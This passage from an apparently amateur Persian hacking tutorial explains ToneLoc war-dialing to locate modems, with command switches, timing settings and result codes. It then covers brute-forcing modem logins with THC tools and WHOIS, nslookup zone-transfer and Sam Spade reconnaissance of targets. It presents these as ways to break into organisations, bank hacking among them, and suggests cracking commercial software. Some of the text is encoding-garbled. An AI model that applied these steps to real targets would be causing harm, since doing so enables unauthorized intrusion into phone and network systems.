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 Tone  و Stringاگر به هر دليلی هنگيات کرد روی گزینه .ميگم از کجا بقيه این دستورها را پيدا کنيد.  که این به درد ادارات ميخورد ١٠٩٧
Hangup مربوط به مودم خودتون کليد کنيد .  

  :ر ميتوانيد پيدا کنيد را از آدرس زیATفرامين 
http://www.modemhelp.net/basicatcommand.shtml 

 
  

    :Modem Optionsمنوی 

  
  

 سѧر در نيѧاورده ایѧد هѧيچ نگѧران      اگر از این جѧا چيѧزی  . با بهره گيری از امکانات این منو ميتوانيد تنظيمات سخت افزاری مودم را انگولک کنيد         
  اسѧت بѧرای    COM 3 را تعيين کنيد کѧه آن را از  کنتѧرل پانѧل وینѧدوز قѧسمت مѧودم تѧشخيص بدهيѧد کѧه معمѧولا           COMنباشيد فقط لازم پورت 
رطѧرف کѧردن ایѧن    یک مشکل اساس این برنامه عدم پشتيبانی از چند مودم و چند خط تلفن اسѧت کѧه معمѧولا بایѧد بѧرای ب                        . مودم های داخل کيس     

  . مجزایی تعریف کرد پوشش داده شودCOMعيب از چند بار اجرای همين برنامه به صورتی که برای هر برنامه پورت 
 چيست ؟ در جواب بایѧد گفѧت ایѧن فقѧط سѧرعت برقѧراری ارتبѧاط مѧودم اسѧت و هѧيچ تѧاثيری بѧر رونѧد              Baud rateیک سوال خوب این است که 
  .م ها را نداردسریع شدن اتصال مودم با مود

    :Scan Optionsمنوی 

  
  

  .این منو اساس کار ما است و باید به صورت ویژه مورد برسی قرار بگيرد
  .شاید نياز باشد با این دو گزینه یک کمی بازی کنيد تا مقدار بهترین را برای وضعيت خود پيدا کنيد 

1-Wait Delay 
2-Between-Call Delay 

 هر دو بر حسب ميلی ثانيه است که دومی زمان برای ریست کردن مودم برای شماره گيѧری مجѧدد اسѧت کѧه بѧستگی                          مقدار گزینه دومی و اصلا    
 ، ۵ ٠٠ یѧا حѧداکثر   ۴٠٠به مودم خط و شماره هایی که دارد ميگيرد دارد زمان بيشتر باعث ریست شدن بهتر مودم توسط نرم افزار ميشود مثلا                       

 دارای اهميت ویژه ایی است این گزینه معرف مدت زمѧانی  Wait Delayگزینه اول . که خوب است ميلی ثانيه است ٣٠٠پيش فرض این زمان
، } Wait Delay منظѧور { پس از این رو می توان با توجه به تعداد شماره های تلفن و این زمان. است نرم افزار منتظر دریافت پاسخ می ماند

 Wait Delayمѧدت زمѧان کѧار را تخمѧين زد مѧثلا زمѧان       )  توان صرف نظر کѧرد    به علت کوچکی می Between-Call Delayاز، زمان ( 
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 شѧماره را  ١٠٠٠ ثانيه می باشد پاس با یک محاسبه سخت ریاضی می توان فهميد کѧه اگѧر مѧا بخѧواهيم     ۴۵ معادل  ۴۵٠٠٠در حالت پيش فرض     
 !! ساعتی زمان احتياج داریم١۶تست کنيم نياز به یک 

 ٣٠٠٠٠ ویا٣۵٠٠٠ولی بهتر است این عدد را به        .بح فرض کرد که هم پول کمتری آب بخورد هم کسی مزاحم نشود            البته ميتوان یک شب تا ص     
 ثانيѧه  ١٢ الѧی  ١٠البتѧه مѧن بѧه شخѧصه    !!) چون مѧا داریѧم دنبѧال خѧط آقѧای حѧضرت مѧدیر ميگѧردیم          .( ميلی ثانيه کاهش داد که منطقی تر هم است        

ميگزارم این منطقی تر است چون بѧا راه هѧایی کѧه در ادامѧه     ۴۵٠ن ریست مودم را کمی بيشتر مثلا  حداکثر زمان برای این یکی ميگزارم و زما       
  . شدن را دوباره با زمان بيشتری برای انتظار جواب گرفتTimeoutميگم می شود دوباره شماره های را که فقط مثلا  

  .  تنظيم کنيدY  را با مقدار DAT Files ،  Save ،  Logging to Disk ،  Carrier Loggingحتما گزینه های 
خوب حالا گزینه های پيکر بندی را بѧه شѧما گفѧتم و شѧما مناسѧب حѧال خودتѧون آن را تنظѧيم کѧرده ایѧد حѧالا فایѧل مربѧوط بѧه پيکѧر بنѧدی را روی                            

  .!!دیسک ذخيره کنيد اسم آن را هم با توجه قواعد که گفته شد بگزارید که هم خودتان بفهميد
  

 انجام ميدهد که جهت استفاده از آن لازم است مرتبا نام انتخابی    Tl.cfg هميشه عمليات خود را بر روی فایلی  با نام            Tlcfg.exeمه  برنا:  نکته  
  .!! تغيير داده و پس از اعمال تغيرات دوباره آن را به حالت اول برگردانيدTl.cfgخود را برای فایل پيکر بندی برنامه را به 

  !! که دیگر از خود برنامه استفاده کنيمحالا زمان آن رسيده
  :های برنامه را در زیر می بيند ) سویچ ( گزینه 

ToneLoc [DataFile] /M:[Mask] /R:[Range] /X:[ExMask] /D:[ExRange] 
                /C:[Config] /#:[Number] /S:[StartTime] /E:[EndTime] 
                /H:[Hours] /T /K 

 :ح های آنو توضي
  

[DataFile] - File to store data in, may also be a mask 
[Mask] - To use for phone numbers Format: 555-XXXX 
[Range] - Range of numbers to dial Format: 5000-6999 
[ExMask] - Mask to exclude from scan Format: 1XXX 
[ExRange] - Range to exclude from scan Format: 2500-2699 
[Config] - Configuration file to use 
[Number] - Number of dials to make Format: 250 
[StartTime] - Time to begin scanning Format: 9:30p 
[EndTime] - Time to end scanning Format: 6:45a 
[Hours] - Max # of hours to scan Format: 5:30 
Overrides [EndTime] 
/T = Tones, /K = Carriers (Override config file, '-' inverts) 

 :با مثال توضيح ميدهم متوجه شوید مثلا
C :\> toneloc.exe xxxx.dat / c: zzzz.cfg 

 کѧه مѧن   C/  سѧویچ .   همان فایل پيکر بندی ما استZZZZ.cfg  تمام نتيجه های ما در آن قرار دارد و XXXX.datخوب همانطور که ميدانيد 
 . فایل استفاده کند و دفعات بعد یکی دیگه را استفاده کنم اضافه کردم این کار را ميکند که برای این جستجو فقط از این

دوتѧا اولѧی اضѧافه ميکنѧد دوتѧا بعѧدی       (   همه  تقریبا یک کار را انجام ميدهند که من اولی را توضيح ميدهم D/  و X/  و  R/  و M/سویچ های  
  ).حذف

  :ثل  محدوده خاصی از شماره ها را دقيقا مشخص کرد مM/ميتوان با این سویچ 
/m: 971-XXXX 
/m: 971-1XXX 
/m: 971-X9XX 
/m: 971-XXX3 
… 

 . را جای آنها ميگزارد و شماره ميگيرد٩ تا ٠ ها خود برنامه تمام اعداد بين Xکه به جای 
  : ميتوان محدوده ای از شماره ها را حذف کرد از شماره گيری مثالD وXبا استفاده از گزینه های 

C:\>Toneloc.exe xxxx.dat / c: zzzz.cfg /m: 971XXXX /d: 0000-7499 
 !! هم تابلو که چکار ميکندh وe وS.  ها نمی گزاردX را به جای ٧۴٩٩ تا ٠همانطور که می بينيد محدوده بين 

  .با استفاده از این ترکيبها ميتوان کار را بين مودم ها تقسيم کرد : توجه
  .ام ميدهند که عرض ميکنم در هنگام کار برنامه دکمه های کيبورد کارهای انج

  
 نام کليد توضيحات

 C .این فرمان شماره مورد برسی را برای تشخيص نوع سرویس دهنده علامت ميگزارد
 F .این فرمان شماره را ، شماره یک ماشين فکس علامت ميگزارد

ویی خود  سرویس پاسخگGRILماشين (  علامت ميگزارد GIRLاین فرمان شماره را به عنوان یک ماشين 
کار  از طریق صدای ضبط شده می باشد مثل شماره های هواشناسی که ميگه فلان شماره را بزن تا آب هوای 

 ).فلان شهر را بگم 

G 

(c) ketabton.com: The Digital Library



١٢    صفحه  !!آموزش هک و معرفی نرم افزار های مربوطه توسط خودم 

 K .می توان برای این شماره نکته ای نوشت
 P ..عمليات شماره گيری را به حال تعليق در می آورد و با فشار هر کليدی ادامه کار از سر گرفته می شود

 Q .موجب خروج کامل از برنامه ميشود
 R .شماره فعلی را دوباره ميگرد

 S .بلند گوهای مودم را فعال و یا غير فعال ميکند
 X . ثانيه به مدت انتظار برای پاسخ را فقط برای این شماره زیاد می کند۵

 V علامت ميگزارد ) VMB(   یا Voice Mail Boxشماره را به عنوان سرویس 
 [Spacebar] .شماره فعلی را کن سل کرده و شماره بعدی را ميگيرد

 [Esc] .باعث خروج از برنامه ميشود
  

از کار را تمام کردم معمولا توی تمام آموزش ها یی کѧه دیѧدم تѧا بѧه حѧال هѧر کѧی بѧه ایѧن مرحلѧه ميرسѧه دیگѧه آمѧوزش تمѧام                 % ٨٠خوب تا حالا    
  .از این جا به بعد توضيح ميدهم....  بيشتر هم تجربی من باز هم به علت ميکنه ولی اصل کار از حالا به بعد که

  حاوی نتيجه هѧا ميباشѧد و بایѧد ویѧرایش شѧود      XXXX.Datپس از پایان کار برنامه به شما یک پيغام ميدهد با این محتوا که ، کار تمام شد فایل            
 بایت فضا اختصاص ميدهد و به هѧر شѧماره یѧک مقѧدار خѧواص مѧی       ١ماره در این فایل به هر ش.اطلاعات آن بازیابی و دست خوش تغيير شود       

  .دهد که نتيجه عمل برنامه است که در جدول زیر مقادیر  و معنی آنها را می بينيد 
  

 مفهوم مقدار عددی مقدار کاراکتری
UNDIALED 00 هنوز این شماره را نگرفته. 

BUSY 1X سيگنال اشغال بودن خط را دریافت کرده. 
VOICE 2X  معمولا مال دستگاه فکس است.( سيگنال صدا را تشخيص داده( 

NODIAL 30 امکان شماره گيری وجد ندارد. 
ABORTED 5X از شماره گيری صرف نظر به عمل آمده. 
RIAGOUT 6X  برنامه به مقدارRingoutاین مقدار آستانه را ميتوان با استفاده از برنامه .(  رسيده

 ) قابل دست رسی و تعيين است Scan Options و از منوی tlcfg.exeکمکی 
TIMEOUT 7X  برنامه به مقدارTIME OUT زیاد درباره اش توضيح دادم(  رسيده( 

TONE 8X  علت دارد کم ٢( در هنگام انجام کار یک سيگنال شماره گيری دریافت کرده 
 !! )بودن زمان ریست یک نفر دارد با تلفن شماره ميگيرد

CARRIER 9X  یک سيگنالCRRIER تشخيص داده !! 
EXCLUDE 100  شماره تلفن را خودتان با توجه به سویچ ها حذف کرده اید. 

  
 اسѧت و   dat.*کѧار ایѧن برنامѧه برسѧی فایѧل     . که همراه این نرم افزار اسѧت کѧارایی جالѧب دارد کѧه ایѧن هѧم ميگѧویم        tlreplac.exeبرنامه کمکی 

خوب بالا تر ها به شما گفتم اگر مثلا زمان انتظѧار کѧم تنظѧيم کѧرده ایѧد             .دار های بالا که گفتم هر کدام چه معنی دارد         تغيير یک نوع خواص از مق     
  :نگران نباشيد شماره های آن دوباره  ميگيریم  یا مثلا شماره های اشغال خوب به دستور زیر توجه کنيد

C:\>tlreplac.exe XXXX.dat BUSY UNDIALED 
 .اب اساس به قول خودش ميدهد و ما ميتوانيم دوباره شماره های اشغال بگيریم بقيه کارها هم مثل قبل استبعد یک سری جو
  !!! هم صدق ميکند که به جای قسمت زرد مينویسم RINGOUT  و TIMEOUTاین قضيه برای  

 Prescan.exeه های مورد نظر که اسم برنامه  مورد دلخواه ما برای شمار     dat.*یک برنامه کمکی دیگه هم دارد که کارش درست کردن فایل            
 برنامه آمارگيری کمکی هم دارد که خواندن و تحليل را برای مѧا راحѧت مѧی کنѧد از روی                   ٣بغير از اینها    . است کارش دیگه خودتون یاد بگيرید     

    !!.dat.*فایل 
خواستم بنویسم خيلی دور شدم ولѧی بѧرای شѧما هѧا بѧد نѧشد             همين همش توضيح دادم دیگر هيچی نيست که بگم ولی از کل  و هدف مقاله ای که مي                  

فکر نکنيد یک دفعه مسخره است این روش بلکѧه  ... از کارایی های این روش می توان به هک بانک تجارت نام برد در وطن خودمان و              !!! که  
  . گزینه اول است ٣بدانيد اگر جایی را به طور اساسی بخواهيد هک کنيد این روش جزو 

 خط فرمان مثل خيلی از مامانی ها ميترسيد بدانيد یک برنامه گرافيکی در پيѧت هѧم بѧرای ایѧن کѧار هѧست کѧه خيلѧی خيلѧی سوسѧولی  ولѧی                 اگر از 
  .ش ميتوانيد بگيرید اcom.sanstorm.www   که از سایت PhoneSweepخالی از لطف نيست تجربه کار کردنش به نام 

  . روش٣ميشود سه ... روش مخ + خوب تا حالا دو روش به شما یاد دادم برای پيدا کردن مودم های فعال و 
نخواست که هلو اگر خواست که حاليش ميکنيم که ایѧن هѧم راه دارد و آن هѧم حѧدس     .. حالا به مودم وصل ميشویم اگر کلمه عبور و نام کاربر   و   

برای انجام اینکار روش اول که همان حدس زدن است که مشخص است باید با .است  ) Brute Force( ور و یا ورود به ز!!! زدن کلمه عبور
  .توجه به شرایط هدف کلمه حدس زده شود که در ابتدای مقاله دیدید این کلمه ها چه بود 

  که کارایی اش خوب است THC Login Hacker: اگر حدس زده نشد نگران نباشيد ما از نرم افزارهای تست کلمه عبور استفاده ميکنيم مثل 
  گѧرفتم اگѧر بѧه ایѧن آدرس  نتوانѧستيد برویѧد مѧن                  EDU.TUSCULUM.INFERNO.THC://HTTP/: من آن را اندر زمان قدیم از آدرس         

  .شما را به گو گل ميسپارم
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  ! زیاد فرق نمی کند پس نتيجه ميگيریم من مدل دیگری را توضيح نميدهم .ثل همين ها استکار با این مدل از نرم افزارهای هک م
سѧѧورس برنامѧѧه را بѧѧا یѧѧک اسѧѧت   را گرفتيѧѧد  لازم Run time 200  پيغѧѧام خطѧѧای THC-Scanیѧѧک نکتѧѧه خيلѧѧی کѧѧاربردی اگѧѧر موقѧѧع اجѧѧرای 

  .  اجرا کنيدdosemu  و یا doscmdل   مثDosکامپایلر  پاسکال دوباره کامپایل کنيد یا تحت یک شبيه ساز 
  
  : جستجو در وب  به دنبال اطلاعات شبکه هدف-٣
  

این کار در شرایط خاصی لازم که انجام بشود در بعضی از متدهای و یا فارسی  شيوه ها هک که شما بایѧد از یѧک لينѧک خѧاص بѧه یѧک سѧایت                 
  ...متصل بشوید تا بعضی از اختيارات به شما داده شود و

سایت کروز را به دنبال لينک ها یش جستجو ميکنيم  و به این نتيجه ميرسيم که فایلهای قابل دانلѧود آن در سѧایتی بѧه نѧام کرمѧان هکѧر اسѧت                      مثلا  
معنایی ندارد و ما هر چی بخواهيم از آن سѧایت بѧا توجѧه بѧه روشѧهایی کѧه بعѧدا یѧاد                     ... با توجه به این مسئله، دیگر عضو شدن و درجه گرفتن و           .

  .م بر ميداریمميد
  :  می نویسيم ALTAVISTA مثال در سایت 

Link: www.crouz.com 
 .بعد نتایجی را که شمال تمامی سایت های  وبی است که به این لينک ارجاع داده شده را می بينيم

  .ببخشيد!!! فعلا در این مورد بس است مطلب زیاد است من هم حوصله نوشتن ندارم 
  . است توضيح ميدهم Who isسم نبود  یک مطلب مهم در این باره است و آن هم اه اه اه اه  اصلا هوا 

  .که ما هم برای کامل بودن مقاله دوباره ميگویم !!!!!!!!! البته آقای  صمدی در مقالات خود توضيح دادن
اتی در بѧاره مѧسئول شѧبکه آدرس او و    اطلاع ) Domain Name(  ، نامهای حوزه IPما این عمل را برای یافتن اطلاعاتی از قبيل آدرس های 

  ... و زمان انقضای  آن وdomainشماره تلفن و سال ثبت 
  .می خواهم اول یک نمای کلی به شما بدهم بعد ریز جزئيات را بگم 

منظѧور  ( يѧستم   بѧرای امنيѧت و پایѧداری س       )  تاکيد ميکنم بزرگ در شبکه کوچکتر تمام کارها را یک ماشين انجام ميدهѧد               ( در شبکه های بزرگ     
یک آدرس حوزه کلی ایجاد ميکند ،  که آن به کل شبکه اشاره ميکند نه ماشين خاصی مثلا مایکروسافت یک آدرس کلی دارد و هѧر                  )  مجموعه  

م ميدهند این ماشينها که هر کدام کار مجزایی انجا...   و  FTPکدام از زیر شبکه ها یش  یک آدرس یکتا خاص دارند مثل سيستم ایميل و سيستم                  
  . نام ماشين قرار ميگيرد x  دارد که به جای حروف xxxxxxxx.microsoft.comنامی مشابه 

است کار بکنند باید همѧانطور کѧه گفتѧه شѧد یѧک آدرس یکتѧا داشѧته         ) منظور هم اینترنت و شبکه داخلی     ( برای اینکه این ماشينها بتوانند در شبکه        
 شѧبکه را  IP  باید بѧر روی یѧک ماشѧين نѧصب کننѧد و روی آن ماشѧين آدرسѧها و         DNSخاص به نام باشند برای این کار از یک سرویس دهنده 

 کѧه آدرس کلѧی را درآن  ثبѧت    DNS  را کѧه آدرس هѧای  زیѧر شѧبکه را دارد در بانѧک اطلاعѧات جهѧانی                DNSثبت کرد بعد ایѧن آدرس ماشѧين         
  .ر شبکه و امکانات سایت ميباشدکرده اند ثبت ميشود و با توجه به این روش امکان دسترسی به زی

بدسѧت مѧی آوریѧم کѧه     ... اطلاعاتی در باره ماشينها و کار آنها و نسخه  نرم افزار سرویس دهنده  روی هر ماشين و     DNSکه ما با تماس با آن       
  !! را برای این کار ميخواهيم WHOIS آنرا پيدا کنيم که ما IP و آدرس DNSاول باید خود آن کامپيوتر 

  .این هم یک نمای کلی در این  باره  و مطلب بعدخوب 
  

    :net  و com و orgبا پسوند  ) Domain Name Server(کسب اطلاعات در مورد نامهای حوزه 
تѧصميم  ) ١٩٩٩(در ایѧن سѧال   .   بѧود Network Solutions شوفری  این کѧار منحѧصرا متعلѧق بѧه شѧرکت      ١٩٩٩قابل ذکر است تا قبل از سال 

    ѧد توسѧط  گرفت شICANN                      رایطѧد شѧرکتهای واجѧه شѧانونی در آورد و بѧک روال قѧت یѧرده و تحѧارج کѧصاری خѧت انحѧام را از حالѧت نѧه ثبѧک 
رایگѧان نѧام   ، با این کار رقابت خفنی در گرفت که باعث شد تا بعضی شرکتها بѧا دریافѧت مقѧداری فѧضا از سѧرور وب سѧایت شѧما              .واگذار نماید   

البتѧه ایѧن روش را بطѧور کامѧل در مقѧالات بعѧدی هѧم        " بچѧه هѧایی  کѧه شѧدید انѧد دنبѧال وب سѧایت مجѧانی هѧستند                    قابل توجه بر  ( شما را ثبت کنند     
  " ) .توضيح ميدهم تا بدون خارج شدن حتی یک ریال از جيب مبارک داری یک وب باحال شوید 

  : اولين گام در شناسایی صاحبان یک آدرس با پسوندهای بالا رفتن به یکی از سایتهای 
HTTP://WWW.SAMSPADE.ORG/T/WHOIS?A=TRU2.COM 
HTTP://WWW.INTERNIC.NET/WHOIS.HTML 
HTTP://WWW.ARIN.NET 

   آدرس مورد نظر خود را بنویسيد TUR2.COMس اولی به جاینکته در آدر
  :اطلاعاتی که بعد از وارد کردن نام سایت به شما داده ميشود عبارتند از. است
   ) .Registrar(  نام شرکت ثبت کننده  نام -١
    .Whois نام سرویس دهنده  -٢
  . نام سرویس دهنده های نام شرکت یا موسسه صاحب نام-٣

بدست آوردن این اطلاعات به سایت شرکت ثبت کننده اطلاعات رفته  و آنجا این عمل را تکѧرار ميکنѧيم تѧا اطلاعѧات بيѧشتری دسѧت پيѧدا              بعد از   
  .کنيم حالا اطلاعات را یک جایی ذخيره کنيد تا بگم بعدا با ميل به ميل آن چه کار باید کرد که خيلی به درد می خورد 

يشود که اگر پسوند سایت مورد نظر ما پسوندهای بالا نبود چکѧار کنѧيم؟ خѧوب در جѧواب ایѧن سѧوال  کلѧی و                        خوب یک سوال مهم اینجا مطرح م      
  :جامع  جواب ميدهم تا مشکلی برای شما پيش نياید را حل این مسئله این است که به سایت

HTTP://WWW.ALLWHOIS.COM/HOME.HTML 
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 NICالبتѧه مجموعѧه آدرسѧهای     .ir کشور جهان را ببينيد از جملѧه        ۶٠رفته در این آدرس شما ميتوانيد اطلاعات مربوط به ثبت کننده نام بيش از               
  :هم خوب است و راه  گشا مثل

http://whois.nic.ir/ 
http://whois.nic.gov 
http://whois.nic.mil/ 

 ....و 
  Whoisخوب مѧا حѧالا یѧک سѧری اطلاعѧات بدسѧت آورده ایѧم مثѧل شѧرکت ثبѧت کننѧده آدرس ،  بѧه سѧراغ آن ميѧرویم  و مѧستقيما در آن جѧا یѧک                                       

  :اوقات عالی است حال معمولا به ما می گوید %  ٩٠ی که به ما ميدهد بيش از اساسی ميکنيم تا اطلاعات بيشتری را بدست بياوریم اطلاعات
  .  را ميگوید http server  سایت یا به نوعی ميشود گفت آدرس IP آدرس -١
  . را که خيلی بدرد ميخوردDNS آدرس و مشخصات -٢
  )اکثرا مهم نيست.(  آن نظر دادآدرس و مشخصات شخصی که آدرس را در شبکه ثبت کرده البته نميشود درباره صحت-٣
۴- NIC handle               اتیѧک اطلاعѧه را در بانѧات مربوطѧورد اطلاعѧا رکѧد یکتѧوان کѧه عنѧه بѧت کѧاراکتری اسѧه ده کѧک شناسѧکه یعنی ی  Whois 

  .مشخص ميکند ميگم چکار است بعدا 
 دارنѧد کѧه اگѧر خѧدا     DNS بѧزرگ چنѧد تѧا آدرس      پيدا کردید تعجب نکنيد معمولا سایت هѧای DNS و آدرس برای     IPیک نکته اگر بيش از یک       

خواست اولی پکيد دومی کارا را انجام بدهد و سيستم نخوابد ما برای کارهایمان معمولا از اولی استفاده ميکنيم ولی اگه به هر دليلی جѧواب نѧداد                           
 درست کار کند برای هماهنگی و به روز بودن آنها از بعدی ها به ترتيب شماره اش استفاده ميکنيم خوب اینا باید هميشه بروز باشن تا آدرس ها       

  سѧѧاده ميѧѧشود کلѧѧی  telnet  اسѧѧتفاده  مѧѧی کننѧѧد کѧѧه بѧѧا یѧѧک udp ۵٣از آن ده  کѧѧاراکتر اسѧѧتفاده ميѧѧشود معمѧѧولا بѧѧرای تبѧѧادل اطلاعѧѧات از پѧѧورت 
  .ری کار ميکند  است که توضيح ميدهم چه جوnsllokupاطلاعات بدست آورد البته راه اصلی اش استفاده ار فرمان 

  !!!!نداریم فعلا : مثال 
  

  !!!زنگ تفريح
  

یک نکته کوچولو  است که کمی با حال است دانستن اش همان طور کѧه فهميدیѧد فراینѧد آوردن یѧک صѧفحه از یѧک سѧایت کمѧی وقѧت گيѧر اسѧت                                
  ان  DNSيوتر کѧار داشѧت دیگѧه سѧراغ     برای سرعت بخشيدن به این کار ما یک فایѧل دسѧت کѧاری کѧرده تѧا کѧامپيوتر مѧان هѧر وقѧت بѧا آن کѧامپ           

  .سایت نرود مستقيما آدرس را خودش بداند  و سراغ اون برود
 برویѧد و  c:\winnt\system32\drivers\etc\hosts  بѧه پوشѧه   NT  و در  سѧری   9x برویѧد در وینѧدوز هѧای     c:\windows\hostبه پوشه 

  .زیر به آن اضافه کنيد و خطوطی را به شيوه notepad  باز کرده  با hostsفایل 
  ، مѧرور گѧر    hosts است آنگاه با اضѧافه کѧردن خѧط زیѧر در فایѧل     ٠٠٠٫٠٠٠٫٠٠٠٫٠٠٠  برابر www.xxxx.com سایت IPشما ميدانيد که 

  .دیگر جستجو انجام نمی دهد و یک راست به سراغ بر قراری ارتباط با آدرس اینترنتی سایت ميرود
000.000.000.000          www.xxxx.com 
با این کا سرعت دست رسی شما افزایش پيدا ميکند به فقط سایتی که با این شيوه به فایل مورد نظر اضافه کرده اید ، یک راه اساس تر،  که من                           

  اختѧصاص ميدهѧد و دیگѧر صѧفحات شѧما در سѧرور       IP  این وسيله به مرور گر شما یک عدد          ONspeedخيلی قبول دارم استفاده از نرم افزار        
 .البته باهاش کارهای زیادی ميشود کرد خودتان امتحان کنيد . امتحان کنيد معتاد ميشود انشاء االله . تان نمی آید و مستقيما پيش شما می اید 

  
    DNS گرفتن اطلاعات از سيستم -۴
  

ضѧيح اضѧافه البتѧه بѧد هѧم نبѧود حمѧلات        حالا رسيدیم به دو مطلبی که از اول مѧی خواسѧتم در بѧاره اش توضѧيح بѧدم و مجبѧور شѧدم بѧه ایѧن همѧه تو                    
WAR DIALER را کاملا توضيح دادم دیگه بس است حرف اضافه ميریم سر اصل مطلب .  

  
  :مقدمه 
DNS  اول کلماتDomain Name Serverاست و یعنی سيستم نام گذاری حوزه . 

  
  

  .  یک سری توضيح بدهم  nslookupخوب برگردیم سر کارمان ميخواستم درباره دستور 
  اما یک چند تا کار دیگه هم ميکنه که توضيح ميدهم به شما.  است DNSاولا بگم این دستور برای گرفتن رکورد های داخل 

  .کار ميکند)  ميتوانيد از خط فرمان استفاده کنيد RUN در CMDبا نوشتن ( این دستور در خط فرمان 
  :در خط فرمان می نویسيم

Nslookup 
 :  نام سرور را به برنامه داد به این صورت  server با فرمان پس از اجرای دستور باید

Server xxxxxxxxxx 
 :بعد فرمان زیر را در خط فرمان مينویسيم )  بود اشکال ندارد  IP(  را مينویسيم    سایتDNS ها نام  xکه به جای 
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Set type=any 
 :مان زیر تمام رکورد ها را ميگيریم با نوشتن این دستور ميگيم هر آن چه هست برای ما بفرستد وبا فر

Ls –d xxxxxxxxxx . 
 .حتما نقطه را آخرش بگزارید )wwwبدون (  ها نام سایت را مينویسيم xxxکه بجای 

 :خوب کار اصلی این دستور به شما ها گفتم اما دوتا کارایی دیگه هم دارد که ميگم
  
   های هستن که کامپيوتر های که هميشه در شبکه هѧستن   IP) ثابت(  های استاتيک  IP.   استاتيک یا دیناميک  IP برای تشخيص اینکه آیا -١

    هѧای هѧستن کѧه مѧن شѧما داریѧم و لحظѧه ای اسѧت مѧال           IP) متغيѧر (    هѧای دیناميѧک   IPامѧا  ...  آنها دارند مثل وب سرور ها ، هاستينگ ها و
  .  دارند IPوع شخص ثابت نيست معمولا همه که با مودم ميرن بالا از این ن

   را در خط فرمان به صورت زیر اجرا ميکنيمnslookupفرمان 
Nslookup hostname 

اگر نتيجه این بود که این ميزبان وجد ندارد طرف ما دیناميک است ولѧی اگѧر اسѧم    .  مورد نظر خود را مينویسيم IPما   hostnameکه به جای 
 . نظر استاتيک استاتيک است ميزبان را به ما بدهد مطمئن باشيد ماشين مورد

  
  ) یک جستجو کنيد Helpیک راهنمایی داخل !! (  این یکی را زیاد توضيحات نميدهم تا خودتون هم یک ذره تلاش کنيد -٢
  
  
   نرم افزارهای مربوطه-۵
  

  .می راحت تر بشود شاید تا به حال فکر کنيد یکم کار سخته ولی اتفاقا خيلی راحت است یک چند نرم افزار معرفی ميکنم تا ک
  
١- Sam Spade   
٢- NET INFO 
٣- Net Scan Tools    
۴- WS-Ping Pro Pack.   
  ...و  -۵
    :Sam Spadeابزار همه منظوره   -١
  

  
و مѧی  ایѧن ابѧزار رایگѧان اسѧت     . ابزار ساده ای و البتѧه کامѧل بѧرای شناسѧایی مقѧدماتی هѧدف اسѧت       . خوب تا به حال شاید اسم این زیاد شنيده باشيد  

  .  بگيرید روی تمام نسخ ویندوز کار ميکند دیگه هيچی org.samspade.www://httpتوانيد از آدرس 
  :دارای قابليت های زیر می باشد 
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١- Whios  :   به طور مستقيم با سرویس دهندهWhios رد  ارتباط برقرار کرده و اطلاعات بدرد بخور راѧرای     . ميگيѧودش بѧایت خѧون از سѧچ
  .جستجو استفاده ميکند نيازی به دست کاری ندارد

٢- IP Block Whios:  هقادر است تعيين کند که یک مجموع IP متعلق به کدام شرکت یا موسسه است .  
٣- Ping :   برای کشفIPقربانی از آن استفاده ميشود البته اگر آن ماشين  فعال باشد .  
۴- DNS Zone Transfer :  د آدرس  . ( همانطور که در بالا اشاره شد باعث انتقال تمام رکورد های موجود در آن ميشودѧبایDNS  دѧرا بدهي 

  ).به برنامه 
۵- Nslookup :   باعث ميشود خودتان دستی با آن )DNS ( فعل انفعال داشته باشد.  
۶- DIG«  : در باره یک سيستم خاص ازDNSيرد  اطلاعات تکميلی ميگ.  
٧- Trace route :  را مشخص ...   پرکسی وشاز جمله دیوار آتاین یکی فهرستی از مسيریاب ها و کلا ماشين های بين شما و ماشين هدف را

  .ميکند 
٨- Finger :  اگر سرویسی به همين نام روی ماشين هدف فعال باشد با اجرای این ميتوانيد ليستی از کاربر های آن را ببينيد.  
٩- SMTP VRFY :   ميتوان فهميد که مثلا فلان آدرس پستی روی سرویس دهنده وجد دارد یا که خير.  
١٠- Web Browser  :  ان        ریک مرور گѧه زبѧفحات را بѧه صѧه البتѧت کѧبکه اسѧوب یا به اصطلاحی کاوشگر ش HTML   ایشѧد آن نمѧو فراین 

  .ميدهد
٢- Net Info:    
  

  
  

  . در موتور های جستجو وارد کنيد مشکل تجاری بودنش حل می شودCRACKواژه +  آن را نرم افزار تجاری است ولی وقتی اسم
  :دارای قابليتهای زیر می باشد . یک سری چيز بيشتر و یک سری کمتر داردSAM SPADEنسبت به نرم افزار 

١- Local Info :  د     همانطور که معنی واژه و عکس ميبينيد یک سری اطلاعات درباره ماشينی که رѧا ميدهѧه مѧيم بѧوش نرم افزار اجرا ميکن .
 ميکنند ميدانند چی ++C/Cآنهایی که برنامه نویسی تحت شبکه با (  و مشخصات آن WIN Sock  ماشين ، نسخه IPنام کاربر ، آدرس : مثلا 
   .UDP، حالت سيستم تعداد سوکت های آزاد ، اندازه بسته های .) هست

  
٢- Connection :  رتباط مشخصات تمام اTCP و پورت های باز UDPو حالت ارتباطی موجد را نشان ميدهد .  
  
٣- PING :   دقيقا مثلSAM SPADE است کارش .  
  
۴- TRACE :  گزینه دقيقا مثل Nslookupدر نرم افزار  SAM SPADE است کارش .  
  
۵- Lookup :   دقيقا مثلSAM SPADE است کارش .  
  
۶- Finger :   دقيقا مثلSAM SPADE است کارش .  
  
٧-  Whois  :  دقيقا مثلSAM SPADE است کارش .  
  
٨- Day Time :           دѧشف کنѧام را کѧين نѧه همѧسی بѧرای سرویѧورت اجѧد   ( این یکی سعی ميکند که ساعت و تاریخ ماشين هدف درصѧرای فهميѧب

 کѧه ایѧن کѧار مطمѧئن تѧر انجѧام        VISAL RUTORاینکه این ماشين تو کدام کشور است البتѧه ابѧزار گرافيکѧی بهتѧری اسѧت در ایѧن بѧاره بѧا نѧام          
  ).ميدهد 
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٩- Time :  برای  بدست آوردن زمان از یک سرویس دهنده مشخص که البته کاربر باید آن را مشخص کند.  
  

١٠- HTML :  دقيقا مثل گزینه Web Browser در نرم افزار SAM SPADE است کارش .  
  

١١- Scanner :   این گزینه راSAM که برای پيدا کردن ماشين های فعال در یک رنج مشخص از  هم داردIPکه خودتون بهش می دهيد .  
  

١٢-  Services :                     هѧين ارائѧه آن ماشѧی را کѧده ایѧناخته شѧروف و شѧسهای معѧا سرویѧين از مѧام ماشѧرفتن نѧا گѧیک چيز خيلی بدرد بخور است ب
  .ميدهد را پيدا کرده و به ما نشان ميدهد

  .دیگه همين
٣- Scan ToolsNet  :   
  

  
  

